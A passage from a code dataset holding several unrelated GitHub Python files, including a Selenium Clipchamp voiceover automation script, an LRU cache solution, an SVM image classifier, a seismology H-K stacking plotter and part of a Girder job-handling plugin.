años\")\n continue\n if (edad==100):\n tener = \"Tienes\"\n break\n else:\n break\n #\n\n year = int(time.strftime(\"%Y\"))\n year100 = year + (100 - edad)\n print (\"{} 100 años en {}\".format(tener, year100))\n sn = \" \"\n\n while True:\n flag = input(\"\\nDesea continuar?{}\".format(sn))\n if (flag == 'y' or flag == 'Y' or flag == 's' or flag == 'S'):\n seguir = True\n break\n elif (flag == 'n' or flag == 'N'):\n seguir = False\n break\n else:\n sn = \" (s, n) \"\n#\n","repo_name":"alhill/ex_python","sub_path":"EX1.PY","file_name":"EX1.PY","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26642810929","text":"from bs4 import BeautifulSoup\nimport requests\n\nclass tx(object):\n def __init__(self,headers):\n self.session = requests.Session\n self.header = headers\n def func(self):\n headers = {\n 'Host': '172.28.14.165',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36',\n 'cookie': 'JSESSIONID=' + '7BEFD3FAE8568645B4AA2ABC54719123'\n }\n response = self.session.get(url='http://tx.com.cn/love/newpub/cs/pubIndex.do?sex=1&pn=1',headers=headers, allow_redirects=False)\n sourse = BeautifulSoup(response.text, 'html.parser')\n text = sourse.find('span', {'class': 'seccontent2'})\n if not text:\n text = sourse.find('span',{'class','red'})\n tq = text.string\n print(tq)\n\n status = tx(headers=headers)\n status.func()\n","repo_name":"gongaustin/pytest","sub_path":"one/20200611.py","file_name":"20200611.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38964748608","text":"from pathlib import Path\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom time import sleep\r\nimport PyPDF2\r\n\r\n\r\n# Pegar o Caminho para a pasta raiz do projeto(path_root)\r\nROOT_FOLDER = Path(__file__).parent\r\n\r\n# montando o caminho para o chromedriver do selenium\r\nCHROME_DRIVER_PATH = ROOT_FOLDER / 'chromedrive' / 'chromedriver'\r\n\r\n\r\ndef chrome_browser(*options: str) -> webdriver.Chrome:\r\n chrome_options = webdriver.ChromeOptions()\r\n\r\n if options is not None:\r\n for option in options:\r\n chrome_options.add_argument(option)\r\n\r\n chrome_service = Service(executable_path=CHROME_DRIVER_PATH)\r\n\r\n browser = webdriver.Chrome(\r\n service=chrome_service,\r\n options=chrome_options\r\n )\r\n\r\n return browser\r\n\r\n\r\ndef init_clipchamp(useres, passwordes):\r\n sleep(3)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"root\"]/div/div[2]/main/section/div/ul/li[1]/button/div').click()\r\n sleep(2)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"i0116\"]').send_keys(useres, Keys.ENTER)\r\n sleep(2)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"i0118\"]').send_keys(passwordes, Keys.ENTER)\r\n sleep(2)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"idSIButton9\"]').click()\r\n sleep(2)\r\n try:\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"root\"]/div/div[2]/main/section/div/ul/li[1]/button/div').click()\r\n except Exception as e:\r\n print(e)\r\n\r\n return f'OK...'\r\n\r\n\r\ndef open_clipchamp():\r\n sleep(7)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"root\"]/div/div[1]/div/nav/div/div[2]/div[4]/button/div/div[2]').click()\r\n sleep(3)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"root\"]/div/div[2]/main/section/div/div/div/div/div/div/div/div/div[2]').click()\r\n\r\n\r\n return f'OK...'\r\n\r\n\r\ndef change_clipchamp(texto):\r\n sleep(3)\r\n browser.find_element(\r\n By.XPATH, '//*[@id=\"sidebar-button-recordCreate\"]').click()\r\n sleep(3)\r\n browser.find_element(By.XPATH, '//*[@id=\"voiceover\"]/div').click()\r\n sleep(3)\r\n browser.find_element(By.CSS_SELECTOR, f'body > div.Transition__'\r\n f'TransitionContainer-sc-1hm06hn-0.kGqRtt.Dialog__'\r\n f'Container-sc-graax7-0.fujfGT > div > div > div.VoiceOverForm__'\r\n f'Container-sc-pqnjsb-0.fbITYF > div > div.VoiceOverForm__'\r\n f'TextContainer-sc-pqnjsb-4.jKCwvT > textarea').send_keys(texto)\r\n sleep(3)\r\n browser.find_element(\r\n By.CSS_SELECTOR, f'body > div.Transition__TransitionContainer-sc-1hm06hn-0'\r\n f'.kGqRtt.Dialog__Container-sc-graax7-0.fujfGT > div > div > div.'\r\n f'VoiceOverForm__Container-sc-pqnjsb-0.fbITYF > div > button').click()\r\n\r\n\r\nif __name__ == '__main__':\r\n useres = input(\"Digite seu email Hotmail: \")\r\n passwordes = input(\"Digite sua senha do email Hotmail: \")\r\n\r\n options = ('--disable-gpu', '--no-sandbox',)\r\n browser = chrome_browser(*options)\r\n browser.get(\r\n 'https://app.clipchamp.com/login')\r\n print(init_clipchamp(useres, passwordes))\r\n\r\n print(open_clipchamp())\r\n\r\n caminho = Path(__file__).parent\r\n arquivo_pdf = caminho / 'pdf' / 'Overlord - Volume 01 - O Rei Undead.pdf'\r\n\r\n with open('texto.txt', 'a', encoding='utf-8') as f:\r\n texto = PyPDF2.PdfReader(arquivo_pdf)\r\n textos = []\r\n for i in range(5, 10):\r\n page = texto.pages[i]\r\n if len(page.extract_text()) > 100:\r\n valor = (str(page.extract_text().replace('OVERLORD 1 O Rei Undead',\r\n ' ').replace('Capítulo 1 O Fim e o Começo', ' ')))\r\n\r\n textos.append(valor)\r\n for t in textos:\r\n f.write(t)\r\n change_clipchamp(t.replace('\\n', ''))\r\n sleep(7)\r\n f.write('\\n')\r\n\r\n sleep(5)\r\n\r\n browser.quit()\r\n","repo_name":"JUNIOROKOSTA/Small_Projects","sub_path":"Projeto_tts/app_tts.py","file_name":"app_tts.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"28272106264","text":"\"\"\"\r\n146. LRU Cache\r\n\r\nDesign a data structure that follows the constraints of a\r\nLeast Recently Used (LRU) cache.\r\n\r\nImplement the LRUCache class:\r\n\r\nLRUCache(int capacity)\r\nInitialize the LRU cache with positive size capacity.\r\n\r\nint get(int key)\r\nReturn the value of the key if the key exists, otherwise return -1.\r\n\r\nvoid put(int key, int value)\r\nUpdate the value of the key if the key exists. Otherwise, add the key-value pair to the cache.\r\nIf the number of keys exceeds the capacity from this operation, evict the least recently used key.\r\nThe functions get and put must each run in O(1) average time complexity.\r\n\r\n\r\n1 <= capacity <= 3000\r\n0 <= key <= 10^4\r\n0 <= value <= 10^5\r\nAt most 2 * 10^5 calls will be made to get and put.\r\n\r\n\"\"\"\r\n\r\nfrom typing import List\r\n\r\nclass LinkNode:\r\n\r\n def __init__(self, val, key, next=None, prev=None):\r\n self.val = val\r\n self.next = next\r\n self.prev = prev\r\n self.key = key\r\n\r\n def __repr__(self):\r\n return str(self.key) + \" : \" + str(self.val)\r\n\r\nclass LRUCache:\r\n\r\n def __init__(self, capacity: int):\r\n self.head = LinkNode(-1, -1)\r\n self.tail = self.head\r\n self.k2n = dict()\r\n self.capa = capacity\r\n self.size = 0\r\n\r\n\r\n def get(self, key: int) -> int:\r\n node = self.k2n.get(key, -1)\r\n if node!= -1:\r\n val = node.val\r\n self.update(node)\r\n return val\r\n\r\n return -1\r\n\r\n def put(self, key: int, value: int) -> None:\r\n node = self.k2n.get(key, -1)\r\n if node == -1:\r\n node = LinkNode(value, key)\r\n if self.size < self.capa:\r\n self.size += 1\r\n\r\n else:\r\n # evict node\r\n self.evict()\r\n\r\n # add node\r\n self.add(node)\r\n\r\n else:\r\n node.val = value\r\n self.update(node)\r\n\r\n self.k2n[key] = node\r\n\r\n def update(self, node):\r\n if self.tail == node:\r\n return\r\n prev = node.prev\r\n next = node.next\r\n\r\n prev.next = next\r\n next.prev = prev\r\n\r\n # goto tail\r\n t = self.tail\r\n t.next = node\r\n node.prev = t\r\n self.tail = node\r\n\r\n def evict(self):\r\n first = self.head.next\r\n new_first = first.next\r\n if new_first is None:\r\n self.head.next = None\r\n self.tail = self.head\r\n else:\r\n self.head.next = new_first\r\n new_first.prev = self.head\r\n\r\n del self.k2n[first.key]\r\n del first\r\n\r\n def add(self, node):\r\n t = self.tail\r\n t.next = node\r\n node.prev = t\r\n self.tail = node\r\n\r\n\r\n\r\n\"\"\"\r\n\r\nRuntime: 1351 ms, faster than 13.21% of Python3 online submissions for LRU Cache.\r\nMemory Usage: 76.1 MB, less than 5.29% of Python3 online submissions for LRU Cache.\r\n\r\n\"\"\"\r\n\r\nfrom collections import OrderedDict\r\nclass LRUCache:\r\n def __init__(self, Capacity):\r\n self.size = Capacity\r\n self.cache = OrderedDict()\r\n\r\n def get(self, key):\r\n if key not in self.cache: return -1\r\n val = self.cache[key]\r\n self.cache.move_to_end(key)\r\n return val\r\n\r\n def put(self, key, val):\r\n if key in self.cache: del self.cache[key]\r\n self.cache[key] = val\r\n if len(self.cache) > self.size:\r\n self.cache.popitem(last=False)\r\n\r\n\r\n# Your LRUCache object will be instantiated and called as such:\r\n# obj = LRUCache(capacity)\r\n# param_1 = obj.get(key)\r\n# obj.put(key,value)\r\n\r\nif __name__ == \"__main__\":\r\n\r\n lRUCache = LRUCache(2)\r\n lRUCache.put(1, 1)\r\n lRUCache.put(2, 2) # // cache is {1 = 1, 2 = 2}\r\n\r\n print(lRUCache.get(1)) # // return 1\r\n lRUCache.put(3, 3)# ; // LRU\r\n # key\r\n # was\r\n # 2, evicts\r\n # key\r\n # 2, cache is {1 = 1, 3 = 3}\r\n print(lRUCache.get(2)) #; // returns - 1(not found)\r\n lRUCache.put(4, 4) #; // LRU\r\n # key\r\n # was\r\n # 1, evicts\r\n # key\r\n # 1, cache is {4 = 4, 3 = 3}\r\n print(lRUCache.get(1)) #; // return -1(not found)\r\n print(lRUCache.get(3)) #; // return 3\r\n print(lRUCache.get(4)) #; // return 4\r\n\r\n\r\n\r\n\"\"\"\r\nRuntime: 44 ms, faster than 36.17% of Python3 online submissions for Word Break.\r\nMemory Usage: 14.7 MB, less than 14.46% of Python3 online submissions for Word Break.\r\n\"\"\"\r\n\r\n\r\n","repo_name":"qubit-finance/algostudy","sub_path":"w7/M146.py","file_name":"M146.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17581120999","text":"from threading import Thread\nfrom typing import Union\n\nimport pygame\n\n# 玩家卡牌\nfrom pygame.surface import SurfaceType\n\nimport toolkit\nfrom data import gameValue\n\nlowerPlayerCards = pygame.sprite.Group()\nupperPlayerCards = pygame.sprite.Group()\n\n\n# 绘制玩家卡牌,同时卡牌会向左移动\ndef drawPlayerCards(screen: Union[pygame.Surface, SurfaceType]):\n drawUpperPlayerCards(screen)\n drawLowerPlayerCards(screen)\n\n\n# 绘制下层玩家的卡牌\ndef drawLowerPlayerCards(screen: Union[pygame.Surface, SurfaceType]):\n cardSprites = lowerPlayerCards.sprites()\n for i in range(len(cardSprites)):\n cardSprite = cardSprites[i]\n if i == 0:\n cardSprite.minX = 400\n else:\n cardSprite.minX = cardSprites[i - 1].rect.x + 220\n\n cardSprite.rect.x = cardSprite.minX\n cardSprite.rect_big.midbottom = (cardSprite.rect.midtop[0], cardSprite.rect.midtop[1])\n\n # 设定y值\n if cardSprite.rect.bottom > 1045:\n cardSprite.rect.y -= 5\n\n cardSprite.draw(screen)\n\n # if cardSprite.rect.x > cardSprite.minX:\n # cardSprite.rect.x -= 30\n # cardSprite.rect_big.x -= 30\n\n cardSprite.draw(screen)\n\n\n# 绘制上层玩家卡牌,同时卡牌会向下移动\ndef drawUpperPlayerCards(screen: Union[pygame.Surface, SurfaceType]):\n cardSprites = upperPlayerCards.sprites()\n for i in range(len(cardSprites)):\n cardSprite = cardSprites[i]\n # 设定x值\n if i == 0:\n cardSprite.minX = 400\n else:\n cardSprite.minX = cardSprites[i - 1].rect.x + 220\n\n cardSprite.rect.x = cardSprite.minX\n\n # 设定y值\n if cardSprite.rect.bottom < 265:\n cardSprite.rect.y += 5\n\n cardSprite.draw(screen)\n\n\ndef loadImageToSurface(path: str) -> pygame.Surface:\n return pygame.image.load(toolkit.res_path(path))\n\n\ndef addDelayCard(targetRound: int, func: staticmethod, *arg):\n gameValue.delayCards.append({\n \"target_round\": targetRound,\n \"func\": func,\n \"args\": arg\n })\n\n","repo_name":"TXMorningstar/GameJamProject","sub_path":"tools/card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10362142703","text":"from os import listdir;\nfrom PIL import Image as PImage;\nimport natalialibNew as nlib;\nimport cv2;\nimport numpy as np;\n\ndef loadImages(path):\n # return array of images\n\n imagesList = sorted(listdir(path));\n loadedImages = [];\n\n for image in imagesList:\n img = cv2.imread(path + image);\n loadedImages.append(img);\n\n return loadedImages;\n\npath = \"./not_labelled/\";\nl_path = \"./labelled/\";\n\n#images in an array\nnot_labelled = loadImages(path);\nlabelled = loadImages(l_path);\n \n# labelled.astype(np.uint8)\n\nnlib.show_video(not_labelled,100);\nnlib.show_video(labelled,100);\n\nnp.savez('Camvid_not_labelled', not_labelled);\nnp.savez('Camvid_labelled', labelled);\n# so in Camvid_full is both the not labelled and the labelled full video ","repo_name":"nataliarinconv/Dynamic_image_vision_test","sub_path":"notes_n_examples/camVid_images.py","file_name":"camVid_images.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8284427103","text":"import numpy as np \r\nimport matplotlib.pyplot as plt \r\nfrom keras.preprocessing import image\r\nfrom pathlib import Path \r\nimport random\r\nfrom mysvm import SVM\r\nplt.style.use('seaborn')\r\n\r\np = Path(\"./images\")\r\ndirs = p.glob(\"*\")\r\n\r\nlabels_dict = {\"cats\":0,\"dogs\":1,\"horses\":2,\"humans\":3}\r\nimage_data = []\r\nlabels = []\t\r\nfor folder_name in dirs:\r\n\t# print(folder_name)\r\n\tlabel = str(folder_name).split('\\\\')[-1]\r\n\r\n\tfor img_path in folder_name.glob(\"*.jpg\"):\r\n\t\timg = image.load_img(img_path,target_size=(32,32))\r\n\t\timg_array = image.img_to_array(img)\r\n\t\timage_data.append(img_array)\r\n\t\tlabels.append(labels_dict[label])\r\n\r\nimage_data = np.array(image_data,dtype='float32')/255.0#since image_data has float 0-255 so make them usigned int 0-255\r\nlabels = np.array(labels)\r\n\r\ncombined = list(zip(image_data,labels))\r\nrandom.shuffle(combined)\r\n\r\n#unzip\r\nimage_data[:],labels[:] = zip(*combined)\r\n\r\ndef show_image(img):\r\n\tplt.imshow(img)\r\n\tplt.axis('off')\r\n\tplt.show()\r\n\r\n# for i in range(5):\r\n# \tshow_image(image_data[i])\r\n\r\n##-----------using one-vs-one classification for SVM-------------------\r\nimage_data = image_data.reshape(image_data.shape[0],-1)\r\n# print(image_data.shape)\r\n# print(labels.shape)\r\n\r\nclasses = np.unique(labels)\r\n\r\ndef classWiseData(x,y):\r\n\tdata = {}\r\n\r\n\tfor i in range(len(classes)):\r\n\t\tdata[i] = []\r\n\r\n\tfor i in range(x.shape[0]):\r\n\t\tdata[y[i]].append(x[i])\r\n\r\n\tfor k in data.keys():\r\n\t\tdata[k] = np.array(data[k])\r\n\r\n\treturn data\r\n\r\ndata = classWiseData(image_data,labels)\r\n\r\ndef getDataPairForSVM(d1,d2):\r\n\t\"\"\"combines data of 2 classes into single one\"\"\"\r\n\tno_of_samples = d1.shape[0]+d2.shape[0]\r\n\tno_of_features = d1.shape[1]\r\n\r\n\tdata_pair = np.zeros((no_of_samples,no_of_features))\r\n\tdata_labels = np.zeros(no_of_samples)\r\n\r\n\tdata_pair[:d1.shape[0],:] = d1\r\n\tdata_pair[d1.shape[0]:,:] = d2\r\n\r\n\tdata_labels[:d1.shape[0]] = -1\r\n\tdata_labels[d1.shape[0]:] = +1\r\n\r\n\treturn data_pair,data_labels\r\n\r\n#train nC2 classifier\r\n\r\nmySVM = SVM()#inported from mysvm.py\r\n\r\ndef trainSVMs(data):\r\n\tsvm_classifiers = {}\r\n\tfor i in range(len(classes)):\r\n\t\tsvm_classifiers[i] = {}\r\n\t\tfor j in range(i+1,len(classes)):\r\n\t\t\txpair,ypair = getDataPairForSVM(data[i],data[j])\r\n\t\t\twts,b,loss = mySVM.fit(xpair,ypair,itrations=1000,learning_rate=0.00001)\r\n\t\t\t# plt.plot(loss)\r\n\t\t\t# plt.show()\r\n\t\t\tsvm_classifiers[i][j] = (wts,b)\r\n\r\n\treturn svm_classifiers\r\n\r\nsvm_classifiers = trainSVMs(data)\r\n\r\ndef binaryPredict(x,w,b):\r\n\tz = np.dot(x,w.T)+b\r\n\r\n\tif z>=0:\r\n\t\treturn 1\r\n\telse:\r\n\t\treturn -1\r\n\r\ndef predict(x):\r\n\tcount = np.zeros(len(classes))\r\n\tfor i in range(len(classes)):\r\n\t\tfor j in range(i+1,len(classes)):\r\n\t\t\tw,b = svm_classifiers[i][j]\r\n\t\t\tz = binaryPredict(x,w,b)\r\n\r\n\t\t\tif z==1:\r\n\t\t\t\tcount[j] += 1\r\n\t\t\telse:\r\n\t\t\t\tcount[i] += 1\r\n\r\n\t\r\n\treturn np.argmax(count)\r\n\r\n# print(predict(image_data[0]))\r\n# print(labels[0])\r\n\r\ndef accuracy(x,y):\r\n\tcount = 0\r\n\t\r\n\tfor i in range(x.shape[0]):\r\n\t\tprediction = predict(x[i])\r\n\r\n\t\tif prediction==y[i]:\r\n\t\t\tcount += 1\r\n\r\n\treturn count/x.shape[0]\r\n\r\nprint(accuracy(image_data,labels))\r\n\r\n\r\nfrom sklearn import svm\r\nsvm_classifier = svm.SVC(kernel='linear',C=1.0)\r\nsvm_classifier.fit(image_data,labels)\r\nprint(svm_classifier.score(image_data,labels))\r\n\r\n\r\n#--------sklearn's and implemented SVM has very close accuracy-----\r\n\r\n\r\n\r\n\r\n","repo_name":"abhishekshakya/image-classification-using-SVM","sub_path":"img_classification.py","file_name":"img_classification.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"431550455","text":"DEPS = [\n 'bot_update',\n 'gclient',\n 'path',\n 'platform',\n 'properties',\n 'python',\n 'step',\n]\n\n\ndef _CheckoutSteps(api):\n api.gclient.set_config('naclports')\n result = api.bot_update.ensure_checkout(force=True)\n api.gclient.runhooks()\n # HACK(aneeshm): Borrowed from iannucci's hack in nacl.py.\n got_revision = result.presentation.properties['got_revision']\n return got_revision\n\ndef _AnnotatedStepsSteps(api, got_revision):\n # Default environemnt; required by all builders.\n env = {\n 'BUILDBOT_MASTERNAME': api.properties['mastername'],\n 'BUILDBOT_BUILDERNAME': api.properties['buildername'],\n 'BUILDBOT_REVISION': api.properties['revision'],\n 'BUILDBOT_GOT_REVISION': got_revision,\n 'BUILDBOT_SLAVE_TYPE': api.properties['slavetype'],\n }\n api.step('annotated steps',\n [api.path['checkout'].join('build_tools',\n 'buildbot_selector.sh')],\n allow_subannotations=True,\n cwd = api.path['checkout'],\n env = env,\n )\n\n\ndef RunSteps(api):\n got_revision = _CheckoutSteps(api)\n _AnnotatedStepsSteps(api, got_revision)\n\ndef GenTests(api):\n yield api.test('linux') +\\\n api.platform('linux', 64) +\\\n api.properties(mastername = 'client.nacl.ports') +\\\n api.properties(buildername = 'linux-glibc-0') +\\\n api.properties(revision = 'abcd') +\\\n api.properties(slavename = 'TestSlave') +\\\n api.properties(slavetype = 'BuilderTester')\n","repo_name":"petrutlucian94/adt-infra","sub_path":"build/scripts/slave/recipes/nacl_ports.py","file_name":"nacl_ports.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71124502622","text":"import pylab as plt\nimport numpy as np\nimport os\n\nfrom hk_parameter import *\n\nfor station in stations:\n \n \n opath = \"../output/\"+station+\"/\" \n rpath = \"../results/\"+station+\"/\" \n os.system(\"mkdir -p \"+ rpath)\n \n \n \n HK_STACK = np.load(opath + \"HK_ALL.npy\")\n HK_STACK1 = np.load(opath + \"HK_PS.npy\")\n HK_STACK2 = np.load(opath + \"HK_PPPS.npy\")\n HK_STACK3 = np.load(opath + \"HK_PPSS.npy\")\n MDS = np.load(opath + \"HK_MDS.npy\")\n VPVSS = np.load(opath + \"HK_VPVSS.npy\")\n \n \n # restrict search range \n\n vpvs_min=search_range_dict[station]['vpvs_min']\n vpvs_max=search_range_dict[station]['vpvs_max']\n Moho_min=search_range_dict[station]['Moho_min']\n Moho_max=search_range_dict[station]['Moho_max']\n\n\n\n vpvsrange = (VPVSS > vpvs_min) * (VPVSS < vpvs_max)\n MDrange = (MDS > Moho_min) * (MDS < Moho_max)\n \n maxpos=np.where(HK_STACK[MDrange,:][:,vpvsrange]==HK_STACK[MDrange,:][:,vpvsrange].max())\n \n best_vpvs=VPVSS[vpvsrange][maxpos[1]][0]\n best_md=MDS[MDrange][maxpos[0]][0]\n \n \n \n fig=plt.figure(figsize=(8.4,4))\n ax1=fig.add_subplot(121)\n ax2=fig.add_subplot(122)\n \n ax1.set_title(station)\n ax1.pcolor(VPVSS, MDS, HK_STACK)\n ax1.set_ylim(MDS[0],MDS[-1])\n ax1.set_xlim(VPVSS[0],VPVSS[-1])\n \n ax2.set_title(\"\")\n \n \n coppps=0.6\n coppss=0.5\n cops=0.6\n \n \n \n maps=HK_STACK1[MDrange,:][:,vpvsrange].max()\n mappps=HK_STACK2[MDrange,:][:,vpvsrange].max()\n mappss=HK_STACK3[MDrange,:][:,vpvsrange].max()\n \n ax2.contourf(VPVSS, MDS, HK_STACK1,np.arange(cops,1.05,0.05) * maps, cmap=\"Blues\" , vmin=0., vmax=maps, zorder=0.1, extend=\"max\")\n ax2.contourf(VPVSS, MDS, HK_STACK2,np.arange(coppps,1.05,0.05) * mappps, cmap=\"Greens\" , vmin=0., vmax=mappps, zorder=0.2, extend=\"max\")\n ax2.contourf(VPVSS, MDS, HK_STACK3,np.arange(coppss,1.05,0.05) * mappss, cmap=\"Reds\" , vmin=0., vmax=mappss, zorder=0.3, extend=\"max\")\n \n \n \n for ax in [ax1, ax2,]:\n ax.plot([best_vpvs,best_vpvs],[MDS[0],best_md], \"k-\")\n ax.plot([VPVSS[0],best_vpvs],[best_md,best_md], \"k-\")\n ax.plot([best_vpvs],[best_md], \"wo\", markeredgecolor = \"black\")\n \n ax.set_ylim(MDS[0],MDS[-1])\n ax.set_xlim(VPVSS[0],VPVSS[-1])\n \n ax1.set_ylabel(\"Moho Depth (km)\")\n ax.set_xlabel(\"Vp/Vs\")\n \n plt.savefig(rpath + \"HK_classic.png\")\n \n f=open(rpath + \"best_values_HK_classic\",\"w\")\n print( \"best_vpvs = \", best_vpvs, \"best_MohoDepth = \", best_md, station, \"MAXVAL = \", HK_STACK.max(), file=f)\n \n f.close()\n \n\n","repo_name":"FelixMSchneider/H-KAPPA","sub_path":"src/get_HK_max_and_plot.py","file_name":"get_HK_max_and_plot.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5164718380","text":"import bson\nimport celery\nimport cherrypy\nimport json\nimport sys\nimport time\n\nfrom celery.result import AsyncResult\nfrom StringIO import StringIO\nfrom girder.constants import AccessType\nimport sys\n\nfrom girder import events\nfrom girder.api import access, rest\nfrom girder.api.describe import Description\nfrom girder.models.model_base import AccessException\nfrom girder.utility.model_importer import ModelImporter\nfrom girder.plugins.jobs.constants import JobStatus\n\n\n# If you desire authentication to run analyses (strongly encouraged),\n# Add the following to the girder config file:\n#\n# [romanesco]\n#\n# # Default is false, set to True to disallow free-for-all analysis execution\n# # and limit execution to the user and folder white lists below.\n# # require_auth: True\n#\n# # Whitelisted users who can run any analysis.\n# # full_access_users: [\"user1\", \"user2\"]\n#\n# # Whitelisted folders where any user (including those not logged in)\n# # can run analyses defined in these folders.\n# # safe_folders: [bson.objectid.ObjectId(\"5314be7cea33db24b6aa490c\")]\n\n\n_celeryapp = None\n\n\nclass PluginSettings():\n BROKER = 'romanesco.broker'\n BACKEND = 'romanesco.backend'\n\n\ndef getCeleryApp():\n \"\"\"\n Lazy loader for the celery app. Reloads anytime the settings are updated.\n \"\"\"\n global _celeryapp\n\n if _celeryapp is None:\n settings = ModelImporter.model('setting')\n backend = settings.get(PluginSettings.BACKEND) or \\\n 'mongodb://localhost/romanesco'\n broker = settings.get(PluginSettings.BROKER) or \\\n 'mongodb://localhost/romanesco'\n _celeryapp = celery.Celery('romanesco', backend=backend, broker=broker)\n return _celeryapp\n\n\ndef schedule(event):\n \"\"\"\n This is bound to the \"jobs.schedule\" event, and will be triggered any time\n a job is scheduled. This handler will process any job that has the\n handler field set to \"romanesco_handler\".\n \"\"\"\n job = event.info\n if job['handler'] == 'romanesco_handler':\n # Stop event propagation since we have taken care of scheduling.\n event.stopPropagation()\n\n # Send the task to celery\n asyncResult = getCeleryApp().send_task(\n 'romanesco.run', job['args'], job['kwargs'])\n\n # Set the job status to queued and record the task ID from celery.\n job['status'] = JobStatus.QUEUED\n job['taskId'] = asyncResult.task_id\n ModelImporter.model('job', 'jobs').save(job)\n\n\ndef validateSettings(event):\n \"\"\"\n Handle plugin-specific system settings. Right now we don't do any\n validation for the broker or backend URL settings, but we do reinitialize\n the celery app object with the new values.\n \"\"\"\n global _celeryapp\n key = event.info['key']\n val = event.info['value']\n\n if key == PluginSettings.BROKER:\n _celeryapp = None\n event.preventDefault()\n elif key == PluginSettings.BACKEND:\n _celeryapp = None\n event.preventDefault()\n\n\ndef getItemContent(itemId, itemApi):\n item = itemApi.getItem(id=itemId, params={})\n\n files = [file for file in itemApi.model('item').childFiles(item=item)]\n\n if len(files) > 1:\n raise Exception('Expected one file for running an analysis')\n\n stream = itemApi.model('file').download(files[0], headers=False)()\n io = StringIO()\n for chunk in stream:\n io.write(chunk)\n return io.getvalue()\n\n\ndef load(info):\n @access.user\n @rest.boundHandler()\n def romanescoCreateModule(self, params):\n \"\"\"Create a new romanesco module.\"\"\"\n self.requireParams('name', params)\n\n user = self.getCurrentUser()\n public = self.boolParam('public', params, default=False)\n\n collection = self.model('collection').createCollection(\n name=params['name'], description=params.get('description'),\n public=public, creator=user)\n\n for name in ('Data', 'Analyses', 'Visualizations'):\n folder = self.model('folder').createFolder(\n name=name, public=public, parentType='collection',\n parent=collection)\n self.model('folder').setUserAccess(\n folder, user=user, level=AccessType.ADMIN, save=True)\n\n return self.model('collection').filter(collection, user=user)\n\n @access.public\n def romanescoConvertData(inputType, inputFormat, outputFormat, params):\n content = cherrypy.request.body.read()\n\n asyncResult = getCeleryApp().send_task('romanesco.convert', [\n inputType,\n {\"data\": content, \"format\": inputFormat},\n {\"format\": outputFormat}\n ])\n\n return asyncResult.get()\n\n @access.public\n def romanescoConvert(itemId, inputType, inputFormat, outputFormat, params):\n itemApi = info['apiRoot'].item\n\n content = getItemContent(itemId, itemApi)\n\n asyncResult = getCeleryApp().send_task('romanesco.convert', [\n inputType,\n {\"data\": content, \"format\": inputFormat},\n {\"format\": outputFormat}\n ])\n\n return asyncResult.get()\n\n @access.public\n def getTaskId(jobId):\n # Get the celery task ID for this job.\n jobApi = info['apiRoot'].job\n job = jobApi.model('job', 'jobs').load(\n jobId, user=jobApi.getCurrentUser(), level=AccessType.READ)\n return job[\"taskId\"]\n\n @access.public\n def romanescoRunStatus(itemId, jobId, params):\n taskId = getTaskId(jobId)\n\n # Get the celery result for the corresponding task ID.\n result = AsyncResult(taskId, backend=getCeleryApp().backend)\n try:\n response = {'status': result.state}\n if result.state == celery.states.FAILURE:\n response['message'] = str(result.result)\n elif result.state == 'PROGRESS':\n response['meta'] = str(result.result)\n return response\n except Exception:\n return {\n 'status': 'FAILURE',\n 'message': sys.exc_info(),\n 'trace': sys.exc_info()[2]\n }\n\n @access.public\n def romanescoRunResult(itemId, jobId, params):\n taskId = getTaskId(jobId)\n job = AsyncResult(taskId, backend=getCeleryApp().backend)\n return {'result': job.result}\n romanescoRunResult.description = (\n Description('Show the final output of a romanesco task.')\n .param('jobId', 'The job ID for this task.', paramType='path')\n .param('itemId', 'Not used.', paramType='path'))\n\n @access.public\n def romanescoRunOutput(itemId, jobId, params):\n jobApi = info['apiRoot'].job\n taskId = getTaskId(jobId)\n timeout = 300\n cherrypy.response.headers['Content-Type'] = 'text/event-stream'\n cherrypy.response.headers['Cache-Control'] = 'no-cache'\n\n def sseMessage(output):\n if type(output) == unicode:\n output = output.encode('utf8')\n return 'event: log\\ndata: {}\\n\\n'.format(output)\n\n def streamGen():\n start = time.time()\n endtime = None\n oldLog = ''\n while (time.time() - start < timeout\n and cherrypy.engine.state == cherrypy.engine.states.STARTED\n and (endtime is None or time.time() < endtime)):\n # Display new log info from this job since the\n # last execution of this loop.\n job = jobApi.model('job', 'jobs').load(\n jobId,\n user=jobApi.getCurrentUser(),\n level=AccessType.READ)\n newLog = job['log']\n if newLog != oldLog:\n start = time.time()\n logDiff = newLog[newLog.find(oldLog) + len(oldLog):]\n oldLog = newLog\n # We send a separate message for each line,\n # as I discovered that any information after the\n # first newline was being lost...\n for line in 